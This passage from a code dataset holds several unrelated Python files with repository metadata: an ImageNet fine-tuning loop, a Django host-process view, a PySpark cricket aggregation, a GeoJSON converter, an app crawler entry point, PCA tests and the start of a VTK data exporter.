          else:\n                print(\"=> no checkpoint found at '{}'\".format(args.resume))\n                return 0\n        best_prec1 = resume()\n\n    # Data loading code\n    train_loader = ImageNet_TFRecord(args.data, 'train', args.batch_size, args.workers,\n                                     gpu, args.world_size, augment=True)\n    val_loader = ImageNet_TFRecord(args.data, 'val', args.batch_size, args.workers,\n                                   gpu, args.world_size, augment=False)\n\n    # only evaluate model, no training\n    if args.evaluate:\n        validate(val_loader, model, criterion, gpu, args)\n        return\n\n    total_time = AverageMeter()\n    for epoch in range(args.start_epoch, args.epochs):\n        # train for one epoch\n        avg_train_time = train(train_loader, model, criterion, optimizer, epoch, gpu, args)\n        total_time.update(avg_train_time)\n\n        # if in test mode quit after 1st epoch\n        if args.test:\n            break\n\n        # evaluate on validation set\n        [prec1, prec5] = validate(val_loader, model, criterion, gpu, args)\n\n        # remember best prec@1 and save checkpoint\n        if gpu == 0:\n            is_best = prec1 > best_prec1\n            best_prec1 = max(prec1, best_prec1)\n            save_checkpoint({\n                'epoch': epoch + 1,\n                'state_dict': model.state_dict(),\n                'best_prec1': best_prec1,\n                'optimizer': optimizer.state_dict(),\n            }, is_best)\n            if epoch == args.epochs - 1:\n                print('##Top-1 {0}\\n'\n                      '##Top-5 {1}\\n'\n                      '##Perf  {2}'.format(\n                          prec1,\n                          prec5,\n                          args.total_batch_size / total_time.avg))\n\n        train_loader.reset()\n        val_loader.reset()\n\ndef train(train_loader, model, criterion, optimizer, epoch, gpu, args):\n    batch_time = AverageMeter()\n    losses = AverageMeter()\n    top1 = AverageMeter()\n    top5 = AverageMeter()\n\n    # switch to train mode\n    model.train()\n    end = time.time()\n    for i, data in enumerate(train_loader):\n        input = data[0][\"data\"]\n        target = data[0][\"label\"].squeeze().cuda(gpu).long()\n        train_loader_len = int(math.ceil(train_loader._size / args.batch_size))\n\n        # lr schedule\n        adjust_learning_rate(args.lr, optimizer, epoch, i, train_loader_len)\n\n        # if in test mode, quit after 100 iterations\n        if args.test and i > 100:\n            break\n\n        # compute output\n        output = model(input)\n        loss = criterion(torch.log(output), target)\n\n        # compute gradient and do SGD step\n        optimizer.zero_grad()\n        loss.backward()\n        optimizer.step()\n\n        if i % args.print_freq == 0:\n            # Every print_freq iterations, check the loss, accuracy, and speed.\n            # For best performance, it doesn't make sense to print these metrics every\n            # iteration, since they incur an allreduce and some host<->device syncs.\n\n            # Measure accuracy\n            prec1, prec5 = accuracy(output.data, target, topk=(1, 5))\n\n            # Average loss and accuracy across processes for logging\n            reduced_loss = reduce_tensor(loss.data, args.world_size)\n            prec1 = reduce_tensor(prec1, args.world_size)\n            prec5 = reduce_tensor(prec5, args.world_size)\n\n            # # to_python_float incurs a host<->device sync\n            losses.update(to_python_float(reduced_loss), input.size(0))\n            top1.update(to_python_float(prec1), input.size(0))\n            top5.update(to_python_float(prec5), input.size(0))\n\n            torch.cuda.synchronize()\n            batch_time.update((time.time() - end)/args.print_freq)\n            end = time.time()\n\n            if gpu == 0:  # only print for main process\n                print('Epoch: [{0}][{1}/{2}]\\t'\n                      'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n                      # 'Data {data_time.val:.3f} ({data_time.avg:.3f})\\t'\n                      'Speed {3:.3f} ({4:.3f})\\t'\n                      'Loss {loss.val:.10f} ({loss.avg:.4f})\\t'\n                      'Prec@1 {top1.val:.3f} ({top1.avg:.3f})\\t'\n                      'Prec@5 {top5.val:.3f} ({top5.avg:.3f})'.format(\n                           epoch, i, train_loader_len,\n                           args.world_size*args.batch_size/batch_time.val,\n                           args.world_size*args.batch_size/batch_time.avg,\n                           batch_time=batch_time,\n                           loss=losses, top1=top1, top5=top5))\n\n    return batch_time.avg\n\ndef validate(val_loader, model, criterion, gpu, args):\n    batch_time = AverageMeter()\n    losses = AverageMeter()\n    top1 = AverageMeter()\n    top5 = AverageMeter()\n\n    # switch to evaluate mode\n    model.eval()\n\n    end = time.time()\n\n    for i, data in enumerate(val_loader):\n        input = data[0][\"data\"]\n        target = data[0][\"label\"].squeeze().cuda(gpu).long()\n        val_loader_len = int(val_loader._size / args.batch_size)\n\n        # compute output\n        with torch.no_grad():\n            output = model(input)\n            loss = criterion(torch.log(output), target)\n\n        # measure accuracy and record loss\n        prec1, prec5 = accuracy(output.data, target, topk=(1, 5))\n        reduced_loss = reduce_tensor(loss.data, args.world_size)\n        prec1 = reduce_tensor(prec1, args.world_size)\n        prec5 = reduce_tensor(prec5, args.world_size)\n        losses.update(to_python_float(reduced_loss), input.size(0))\n        top1.update(to_python_float(prec1), input.size(0))\n        top5.update(to_python_float(prec5), input.size(0))\n\n        # measure elapsed time\n        batch_time.update(time.time() - end)\n        end = time.time()\n\n        # TODO:  Change timings to mirror train().\n        if gpu == 0 and i % args.print_freq == 0:\n            print('Test: [{0}/{1}]\\t'\n                  'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n                  'Speed {2:.3f} ({3:.3f})\\t'\n                  'Loss {loss.val:.4f} ({loss.avg:.4f})\\t'\n                  'Prec@1 {top1.val:.3f} ({top1.avg:.3f})\\t'\n                  'Prec@5 {top5.val:.3f} ({top5.avg:.3f})'.format(\n                       i, val_loader_len,\n                       args.world_size * args.batch_size / batch_time.val,\n                       args.world_size * args.batch_size / batch_time.avg,\n                       batch_time=batch_time, loss=losses,\n                       top1=top1, top5=top5))\n\n    print(' * Prec@1 {top1.avg:.3f} Prec@5 {top5.avg:.3f}'.format(top1=top1, top5=top5))\n\n    return [top1.avg, top5.avg]\n\n\ndef save_checkpoint(state, is_best, filename='checkpoint.pth.tar'):\n    torch.save(state, filename)\n    if is_best:\n        shutil.copyfile(filename, 'model_best.pth.tar')\n\nclass AverageMeter(object):\n    \"\"\"Computes and stores the average and current value\"\"\"\n    def __init__(self):\n        self.reset()\n\n    def reset(self):\n        self.val = 0\n        self.avg = 0\n        self.sum = 0\n        self.count = 0\n\n    def update(self, val, n=1):\n        self.val = val\n        self.sum += val * n\n        self.count += n\n        self.avg = self.sum / self.count\n\ndef adjust_learning_rate(lr, optimizer, epoch, step, len_epoch):\n    \"\"\"LR schedule that should yield 76% converged accuracy with batch size 256\"\"\"\n    factor = epoch // 30\n\n    if epoch >= 80:\n        factor = factor + 1\n\n    lr = lr*(0.1**factor)\n\n    \"\"\"Warmup\"\"\"\n    if epoch < 5:\n        lr = lr*float(1 + step + epoch*len_epoch)/(5.*len_epoch)\n\n    for param_group in optimizer.param_groups:\n        param_group['lr'] = lr\n\ndef accuracy(output, target, topk=(1,)):\n    \"\"\"Computes the precision@k for the specified values of k\"\"\"\n    maxk = max(topk)\n    batch_size = target.size(0)\n\n    _, pred = output.topk(maxk, 1, True, True)\n    pred = pred.t()\n    correct = pred.eq(target.view(1, -1).expand_as(pred))\n\n    res = []\n    for k in topk:\n        correct_k = correct[:k].reshape(-1).float().sum(0, keepdim=True)\n        res.append(correct_k.mul_(100.0 / batch_size))\n    return res\n\ndef reduce_tensor(tensor, world_size):\n    rt = tensor.clone()\n    dist.all_reduce(rt, op=dist.reduce_op.SUM)\n    rt /= world_size\n    return rt\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(description='PyTorch ImageNet Training')\n    parser.add_argument('data', metavar='DIR', nargs='*', help='path(s) to dataset',\n                        default='/tudelft.net/staff-bulk/ewi/insy/CV-DataSets/imagenet/tfrecords')\n    parser.add_argument('-j', '--workers', default=2, type=int, metavar='N',\n                        help='number of data loading workers per GPU (default: 2)')\n    parser.add_argument('--epochs', default=90, type=int, metavar='N',\n                        help='number of total epochs to run')\n    parser.add_argument('--start-epoch', default=0, type=int, metavar='N',\n                        help='manual epoch number (useful on restarts)')\n    parser.add_argument('-b', '--batch-size', default=64, type=int,\n                        metavar='N', help='mini-batch size per process (default: 64)')\n    parser.add_argument('--lr', '--learning-rate', default=0.001, type=float,\n                        metavar='LR', help='Initial learning rate.  Will be scaled by <global batch size>/64: args.lr = args.lr*float(args.batch_size*args.world_size)/256.  A warmup schedule will also be applied over the first 5 epochs.')\n    parser.add_argument('--momentum', default=0.9, type=float, metavar='M',\n                        help='momentum')\n    parser.add_argument('--weight-decay', '--wd', default=1e-4, type=float,\n                        metavar='W', help='weight decay (default: 1e-4)')\n    parser.add_argument('--print_freq', '-p', default=10, type=int,\n                        metavar='N', help='print frequency (default: 10)')\n    parser.add_argument('--resume', default='', type=str, metavar='PATH',\n                        help='path to latest checkpoint (default: none)')\n    parser.add_argument('-e', '--evaluate', dest='evaluate', action='store_true',\n                        help='evaluate model on validation set')\n    parser.add_argument('--pretrained', dest='pretrained', action='store_true',\n                        help='use pre-trained model')\n    parser.add_argument('--dali_cpu', action='store_true',\n                        help='Runs CPU based version of DALI pipeline.')\n    parser.add_argument('--deterministic', action='store_true')\n    parser.add_argument('-t', '--test', action='store_true',\n                        help='Run short training script.')\n    args = parser.parse_args()\n\n    print(args)\n\n    main_process(args)\n", "repo_name": "ziqiwangsilvia/attack", "sub_path": "cifar/imagenet_finetune.py", "file_name": "imagenet_finetune.py", "file_ext": "py", "file_size_in_byte": 14347, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.environ", "line_number": 40, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 41, "usage_type": "attribute"}, {"api_name": "torch.cuda.device_count", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 44, "usage_type": "attribute"}, {"api_name": "torch.cuda.get_device_name", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 47, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn.version", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.backends", "line_number": 53, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn.benchmark", "line_number": 54, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn", "line_number": 54, "usage_type": "name"}, {"api_name": "torch.backends", "line_number": 55, "usage_type": "attribute"}, {"api_name": "torch.multiprocessing.spawn", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.multiprocessing", "line_number": 61, "usage_type": "name"}, {"api_name": "torch.cuda.set_device", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 65, "usage_type": "attribute"}, {"api_name": "torch.distributed.init_process_group", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 66, "usage_type": "attribute"}, {"api_name": "torchvision.models.resnet.resnet50", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 71, "usage_type": "name"}, {"api_name": "network.marco_softmax", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.backends.cudnn.benchmark", "line_number": 75, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn", "line_number": 75, "usage_type": "name"}, {"api_name": "torch.backends.cudnn.deterministic", "line_number": 76, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn", "line_number": 76, "usage_type": "name"}, {"api_name": "torch.manual_seed", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.set_printoptions", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.optim.SGD", "line_number": 85, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 85, "usage_type": "attribute"}, {"api_name": "torch.nn.parallel.DistributedDataParallel", "line_number": 89, "usage_type": "call"}, {"api_name": "torch.nn.NLLLoss", "line_number": 92, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 92, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path", "line_number": 99, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 101, "usage_type": "call"}, {"api_name": "imagenet_tfrecord.ImageNet_TFRecord", "line_number": 115, "usage_type": "call"}, {"api_name": "imagenet_tfrecord.ImageNet_TFRecord", "line_number": 117, "usage_type": "call"}, {"api_name": "time.time", "line_number": 167, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 171, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 182, "usage_type": "call"}, {"api_name": "torch.cuda.synchronize", "line_number": 207, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 207, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 208, "usage_type": "call"}, {"api_name": "time.time", "line_number": 209, "usage_type": "call"}, {"api_name": "time.time", "line_number": 236, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 244, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 246, "usage_type": "call"}, {"api_name": "time.time", "line_number": 258, "usage_type": "call"}, {"api_name": "time.time", "line_number": 259, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 281, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 283, "usage_type": "call"}, {"api_name": "torch.distributed.all_reduce", "line_number": 335, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 335, "usage_type": "name"}, {"api_name": "torch.distributed.reduce_op", "line_number": 335, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 341, "usage_type": "call"}]}
{"seq_id": "36985828916", "text": "import datetime\nimport psutil\nfrom django.shortcuts import render\nfrom django.views.generic import View\n\n# import forms\nfrom djangoaddicts.hostutils.forms import HostProcessFilterForm\n\n\nclass GetHostProcesses(View):\n    @staticmethod\n    def get_process_count(process_list: list, status: str) -> int:\n        \"\"\"get a count of processes for a given status\n\n        Args:\n            process_list (list): list of processes as returned from psutil.process_iter(\n            status (str): name of process status to count\n\n        Returns:\n            int: number of processes of 'status'\n        \"\"\"\n        count = 0\n        for process in process_list:\n            try:\n                if process.status() == status:\n                    count += 1\n            except psutil.NoSuchProcess:\n                continue\n        return count\n\n    def get(self, request):\n        \"\"\"Get host prcesses\"\"\"\n        context = {}\n        process_list = list(psutil.process_iter())\n        filter_form = HostProcessFilterForm(request.GET or None)\n        context[\"counts\"] = {\n            \"running\": self.get_process_count(process_list, \"running\"),\n            \"sleeping\": self.get_process_count(process_list, \"sleeping\"),\n            \"idle\": self.get_process_count(process_list, \"idle\"),\n            \"stopped\": self.get_process_count(process_list, \"stopped\"),\n            \"zombie\": self.get_process_count(process_list, \"zombie\"),\n            \"dead\": self.get_process_count(process_list, \"dead\"),\n        }\n\n        if request.GET.dict().get(\"clear\", None):\n            context[\"clear_filter\"] = False\n\n        else:\n            if filter_form.is_valid():\n                context[\"clear_filter\"] = True\n\n                if filter_form.cleaned_data.get(\"status\", None):\n                    filtered_process_list = []\n                    for i in process_list:\n                        if i.status() in filter_form.cleaned_data[\"status\"]:\n                            filtered_process_list.append(i)\n                    process_list = filtered_process_list\n\n                if filter_form.cleaned_data.get(\"created_at__gte\", None):\n                    filtered_process_list = []\n                    for i in process_list:\n                        if i.create_time() > filter_form.cleaned_data[\"created_at__gte\"].timestamp():\n                            filtered_process_list.append(i)\n                    process_list = filtered_process_list\n                if filter_form.cleaned_data.get(\"created_at__lte\", None):\n                    filtered_process_list = []\n                    for i in process_list:\n                        if i.create_time() < filter_form.cleaned_data[\"created_at__lte\"].timestamp():\n                            filtered_process_list.append(i)\n                    process_list = filtered_process_list\n\n        context[\"process_list\"] = process_list\n        context[\"title\"] = \"Host Processes\"\n        context[\"now\"] = datetime.datetime.now()\n        context[\"subtitle\"] = psutil.os.uname()[1]\n        filter_form = {}\n        filter_form[\"form\"] = HostProcessFilterForm(request.GET or None)\n        filter_form[\"modal_name\"] = \"filter_processes\"\n        filter_form[\"modal_size\"] = \"modal-lg\"\n        filter_form[\"modal_title\"] = \"Filter Host Processes\"\n        filter_form[\"hx_method\"] = \"hx-get\"\n        filter_form[\"hx_url\"] = \"/hostutils/get_host_processes\"\n        filter_form[\"hx_target\"] = \"id_process_list_container\"\n        filter_form[\"method\"] = \"GET\"\n        filter_form[\"action\"] = \"Filter\"\n        context[\"filter_form\"] = filter_form\n        return render(request, template_name=\"hostutils/bs5/snippets/host_process_card_swap.htm\", context=context)\n", "repo_name": "davidslusser/django-hostutils", "sub_path": "src/djangoaddicts/hostutils/views/htmx.py", "file_name": "htmx.py", "file_ext": "py", "file_size_in_byte": 3668, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.views.generic.View", "line_number": 10, "usage_type": "name"}, {"api_name": "psutil.NoSuchProcess", "line_number": 27, "usage_type": "attribute"}, {"api_name": "psutil.process_iter", "line_number": 34, "usage_type": "call"}, {"api_name": "djangoaddicts.hostutils.forms.HostProcessFilterForm", "line_number": 35, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 74, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 74, "usage_type": "attribute"}, {"api_name": "psutil.os.uname", "line_number": 75, "usage_type": "call"}, {"api_name": "psutil.os", "line_number": 75, "usage_type": "attribute"}, {"api_name": "djangoaddicts.hostutils.forms.HostProcessFilterForm", "line_number": 77, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 87, "usage_type": "call"}]}
{"seq_id": "11082506279", "text": "from pyspark.sql import SparkSession\nfrom pyspark.sql.functions import *\nspark = SparkSession.builder.getOrCreate()\nrawDF = spark.read.json(\"cricket.json\", multiLine = \"true\")\ninnings=rawDF.select(explode(\"innings\").alias(\"innings\"))\n#topDF = innings.select(col(\"innings.team\"),explode(\"innings.overs.deliveries\").alias(\"overs\"),col(\"overs.batter\"),col(\"overs.bowler\"))\n\n#top1DF=topDF.select(explode(\"overs.batter\").alias(\"batter\"),explode(\"overs.bowler\").alias(\"bowler\"))\ntop1DF=innings.select(col(\"innings.team\"),explode(\"innings.overs.deliveries\").alias(\"batbowl\"))\ntopDF=top1DF.select(col(\"batbowl.batter\").alias(\"batter\"),col(\"batbowl.bowler\").alias(\"bowler\"))\ntop2DF=topDF.select(col(\"batter\"),col(\"bowler\"))\n#length=len(top2DF.select('batter').take(1)[0][0])\n#top2DF.select([top2DF.batter]+[top2DF.batter[i] for i in range(length)]).unique().show()\ntop6DF=top2DF.withColumn(\"batter\",arrays_zip(\"batter\")).select(\"bowler\",explode(\"batter\").alias(\"merge\")).select(\"bowler\",col(\"merge.batter\"))\nruns1=innings.withColumn(\"deliveries\",explode(\"innings.overs.deliveries\")).withColumn(\"runs\",explode(\"deliveries.runs\")).select(\"runs.total\")\ndf1=top6DF.withColumn(\"id\",monotonically_increasing_id())\ndf2=runs1.withColumn(\"id\",monotonically_increasing_id())\ndf3=df2.join(df1,\"id\",\"outer\").drop(\"id\")\n#df4=df3.groupBy(\"batter\",\"bowler\").sum().alias(\"total\")\n#df4=df3.groupBy(\"batter\",\"bowler\").agg(sum(\"total\").alias(\"total\"))\ndf8=df3.groupBy(\"batter\",\"bowler\").agg(sum(\"total\"))\n#df8.show(df8.count())\ndf5=df8.orderBy(\"batter\",ascending=False)\n#top3DF=top2DF.drop_duplicates(['bowler'])\ntop3DF=df5.withColumn(\"result\",array_distinct(\"bowler\"))\n#top4DF=top3DF.withColumn(\"result1\",array_distinct(\"batter\"))\n#top2DF.select(\"batter\",top2DF.element[0],top2DF.element[1]).show()\n#top3DF.show()\ntop3DF.show(top3DF.count())\n#print((top3DF.count(), len(top3DF.column)))\n", "repo_name": "tejeswinir00123/Apache-Spark", "sub_path": "cricket.py", "file_name": "cricket.py", "file_ext": "py", "file_size_in_byte": 1860, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pyspark.sql.SparkSession.builder.getOrCreate", "line_number": 3, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession.builder", "line_number": 3, "usage_type": "attribute"}, {"api_name": "pyspark.sql.SparkSession", "line_number": 3, "usage_type": "name"}]}
{"seq_id": "36990870144", "text": "#-*-coding:utf8;-*-\n#qpy:console\n\nfrom geojson import Point, Feature, FeatureCollection, dump\nimport csv\n\ninput_csv = '/storage/emulated/0/Download/All stations Taiwan.csv'\ngeojson_output = '/storage/emulated/0/Download/All stations Taiwan.geojson'\n\n\ndata = []\nattributes = []\n\nwith open(input_csv) as csv_file:\n    print('Reading CSV.....')\n    reader = csv.reader(csv_file) \n    for row in reader:\n        data.append(row) \n\n#print(data)\nattributes = data[0]\ninput_data = data[1:]\n#print(input_data)\n#print(attributes)        \nfeatures = []\nnum_stations = len(input_data)\nnum_attributes = len(attributes)\n\nprint('Writing Geojson file....')\nfor i in range(num_stations):\n    #print(i)\n    lon = float(input_data[i][num_attributes-2])\n    lat = float(input_data[i][num_attributes-1])\n    point = Point((lon, lat))\n    feature_dict = {}\n    \n    for j in range(num_attributes-2):\n        feature_dict[attributes[j]] = str(input_data[i][j])\n    \n    features.append(Feature(geometry=point, properties=feature_dict))\n\n# add more features...\n# features.append(...)\n\nfeature_collection = FeatureCollection(features)\n\nwith open(geojson_output, 'w') as f:\n   dump(feature_collection, f)\n\n", "repo_name": "Azzland/TaiwanRail", "sub_path": "taiwan_rail_geojson.py", "file_name": "taiwan_rail_geojson.py", "file_ext": "py", "file_size_in_byte": 1181, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "csv.reader", "line_number": 16, "usage_type": "call"}, {"api_name": "geojson.Point", "line_number": 34, "usage_type": "call"}, {"api_name": "geojson.Feature", "line_number": 40, "usage_type": "call"}, {"api_name": "geojson.FeatureCollection", "line_number": 45, "usage_type": "call"}, {"api_name": "geojson.dump", "line_number": 48, "usage_type": "call"}]}
{"seq_id": "72344503626", "text": "import logging\n\nfrom config import CRAWLER_LOG_FILE_PATH\nfrom crawler import Crawler\nfrom device import Device\nfrom path import Path\nimport os\npackage = \"com.tencent.mm\"\nroot_activity = \"com.tencent.mm.ui.LauncherUI\"\nguide_directory = os.path.abspath(\"./data/wechat_red_packet2\")\ndevice_serial = \"\"\nstrings_path =  os.path.abspath(\"./strings/wechat_strings.txt\")\ncluster_dir =  os.path.abspath(\"./data/wechat001\")\n\nlogging.basicConfig(level=logging.DEBUG,\n                    filename=CRAWLER_LOG_FILE_PATH,\n                    datefmt='%m-%d %H:%M:%S',\n                    format='[%(asctime)s] [%(levelname)s] [%(filename)s] [%(funcName)s] - %(message)s')\n\nif __name__ == \"__main__\":\n    logging.info(\"Program started.\")\n\n    device = Device(device_serial)\n    crawler = Crawler(package, root_activity, device, strings_path, cluster_dir)\n\n    guide_path = Path()\n    guide_path.load(guide_directory)\n    crawler.follow_guide_path(guide_path)\n", "repo_name": "ZhaohengLi/application-crawler", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 944, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.abspath", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 15, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 15, "usage_type": "attribute"}, {"api_name": "config.CRAWLER_LOG_FILE_PATH", "line_number": 16, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 21, "usage_type": "call"}, {"api_name": "device.Device", "line_number": 23, "usage_type": "call"}, {"api_name": "crawler.Crawler", "line_number": 24, "usage_type": "call"}, {"api_name": "path.Path", "line_number": 26, "usage_type": "call"}, {"api_name": "crawler.follow_guide_path", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "21131977839", "text": "import os, pathlib\nimport numpy as np\nfrom reduce import pca_experiment\n\n'''\nTesting the PCA algorithm on a training set\n'''\nclass test_train():\n\n    def __init__(self):\n        config_dir = os.path.dirname(os.path.realpath(__file__))\n        config_dir_path = pathlib.Path(config_dir)\n        app_dir = config_dir_path.parent\n        self.app_dir = app_dir\n        self.ids, features = self.load('train.txt')\n        self.variance_retained = .99\n        self.pca = pca_experiment(features, 'train.txt', self.variance_retained, f'{self.app_dir}/output')\n\n    def run(self):\n        print(f\"Training set shape: {self.pca.features.shape[0]},{self.pca.features.shape[1]}\")\n        print(f\"Number of components before PCA: {self.pca.features.shape[1]}\")\n        self.pca.dump()\n        self.dump_labels()\n        print(f\"Running PCA with a variance retained at {self.variance_retained}\")\n        print(f\"Number of components after PCA: {self.pca.pca.n_components_}\")\n        print(f\"Compressed data set is saved in the output directory\")\n\n\n    def dump_labels(self):\n        with open(f\"{self.app_dir}/output/train_label.txt\", \"w\") as filehandle:\n            ids = list(map(lambda x: x + '\\n', self.ids))\n            filehandle.writelines(ids)\n\n    ##\n    # The data file should be a id|feature1,feature2,feature3 format file \n    # return a list of ids and a numpy array of the features\n    #\n    def load(self, file_name):\n        features = []\n        unique_ids = []\n        try:\n            fh = open(f\"{self.app_dir}/tests/{file_name}\", \"r\")\n            for line in fh:      \n                id, _feature = str(line).split('|')\n                feature = _feature.split(',')\n                if feature[0] != 'NULL':\n                    unique_ids.append(id)\n                    features.append(feature)\n            fh.close()\n\n            if bool(features) == True:\n                features = np.array(features)\n                features = features.astype(float)\n\n            return [unique_ids, features]\n\n        except FileNotFoundError:\n            return [False, False]\n\n'''\nTesting the PCA algorithm on a test set data (1 sample)\n'''\nclass test_test(test_train):\n    def __init__(self):\n        config_dir = os.path.dirname(os.path.realpath(__file__))\n        config_dir_path = pathlib.Path(config_dir)\n        self.app_dir = config_dir_path.parent\n        self.ids, features = self.load('test.txt')\n        self.variance_retained = .99\n        # We are passing in the train.txt to look for the fitted metrics from the training set\n        self.pca = pca_experiment(features, 'train.txt', self.variance_retained, f'{self.app_dir}/output')\n\n    def run(self):\n        print(f\"Performing PCA on a test set of shape: {self.pca.features.shape[0]},{self.pca.features.shape[1]}\")\n        reduced_features = self.pca.decompose('transform')\n        print('Shape after performing PCA')\n        print(reduced_features.shape)\n        print('Dump')\n        print(reduced_features)\n", "repo_name": "xcf33/pca", "sub_path": "tests/test_train.py", "file_name": "test_train.py", "file_ext": "py", "file_size_in_byte": 2975, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.dirname", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 11, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 12, "usage_type": "call"}, {"api_name": "reduce.pca_experiment", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 65, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 66, "usage_type": "call"}, {"api_name": "reduce.pca_experiment", "line_number": 71, "usage_type": "call"}]}
{"seq_id": "4384796326", "text": "from __future__ import annotations\n\nimport struct\nfrom pathlib import Path\nfrom typing import Union\n\nimport numpy as np\nfrom pylbo.utilities.logger import pylboLogger\nfrom pylbo.utilities.toolbox import transform_to_list, transform_to_numpy\nfrom pylbo.visualisation.modes.mode_data import ModeVisualisationData\nfrom pylbo.visualisation.utils import validate_ef_name\nfrom tqdm import tqdm\n\n\nclass VTKDataExporter:\n    \"\"\"\n    Main class to prepare data for export to VTK files.\n\n    Parameters\n    ----------\n    data : ModeVisualisationData\n        The data for the visualisation\n    u1 : np.ndarray\n        The 1D :math:`u_1` coordinate array.\n    u2 : np.ndarray\n        The 1D :math:`u_2` coordinate array.\n    u3 : np.ndarray\n        The 1D :math:`u_3` coordinate array.\n\n    Attributes\n    ----------\n    _u1 : ndarray\n        The 1D :math:`u_1` coordinates.\n    _u2 : ndarray\n        The 1D :math:`u_2` coordinates.\n    _u3 : ndarray\n        The 1D :math:`u_3` coordinates.\n    u1_data : ndarray\n        The 3D :math:`u_1` coordinate data.\n    u2_data : ndarray\n        The 3D :math:`u_2` coordinate data.\n    u3_data : ndarray\n        The 3D :math:`u_3` coordinate data.\n    dims : tuple\n        The grid dimensions.\n    _vtk_dtype : str\n        The VTK data type, defaults to \"float\".\n    _vtk_byte_order : str\n        The VTK byte order, defaults to \">\" (big endian).\n    _vtk_fmt : str\n        The VTK data format, defaults to \">f\".\n    \"\"\"\n\n    def __init__(\n        self,\n        data: ModeVisualisationData,\n        u1: np.ndarray,\n        u2: np.ndarray,\n        u3: np.ndarray,\n    ) -> None:\n        self.data = data\n\n        self._vtk_dtype = None\n        self._vtk_byte_order = \">\"  # big endian\n        self._vtk_fmt = None\n        self._pbar = None\n\n        self.dims = None\n        for i in \"123\":\n            setattr(self, f\"_u{i}\", None)\n            setattr(self, f\"u{i}_data\", None)\n        self._set_coordinate_data(u1, u2, u3)\n\n    def _set_coordinate_data(self, u1: np.ndarray, u2: np.ndarray, u3: np.ndarray):\n        \"\"\"\n        Sets the coordinate data.\n\n        Parameters\n        ----------\n        u1 : np.ndarray\n            The 1D :math:`u_1` coordinate array.\n        u2 : np.ndarray\n            The 1D :math:`u_2` coordinate array.\n        u3 : np.ndarray\n            The 1D :math:`u_3` coordinate array.\n        \"\"\"\n        self._u1 = u1\n        self._u2 = u2\n        self._u3 = u3\n        self.dims = (len(u1), len(u2), len(u3))\n        self.u1_data, self.u2_data, self.u3_data = np.meshgrid(\n            self._u1, self._u2, self._u3, indexing=\"ij\"\n        )\n\n    def get_coordinate_data(self) -> tuple[np.ndarray, np.ndarray, np.ndarray]:\n        \"\"\"\n        Returns the coordinate data. This should always return the data in a Cartesian\n        reference frame (u1, u2, u3), so 